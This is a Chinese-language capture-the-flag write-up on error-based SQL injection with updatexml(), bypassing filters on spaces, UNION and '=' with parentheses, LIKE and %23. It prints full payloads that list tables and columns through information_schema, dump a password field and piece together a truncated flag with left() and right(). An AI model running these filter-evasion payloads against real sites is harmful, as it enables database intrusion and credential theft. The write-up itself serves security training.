上图~~~
看来设计者还是盲目自信呀,这一看就是数据库操作,过滤了一些特殊字符而已。
试了下二次注入,被过滤了。然后就开始操作,一直注入一直错误。
还说我是臭弟弟,看样子普通注入不怎么行了,试试报错注入。在测试的过程中发现其过滤了空格和联合注入,等号。
在报错的过程中,我们可以将空格用括号代替,将等号用like代替。%23代替#,这样查到了geek库名
再查表:or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23
查字段:or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(0x表名))),1))%23
查字段的值:or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.表名))),1))%23
之后你会发现,flag并没有给完,只给了一半,我们可以利用left()、right()函数进行拼接。
拼接:or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30))from(geek.表名))),1))%23
or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30))from(geek.表名))),1))%23
温馨提示:要注意拼接哦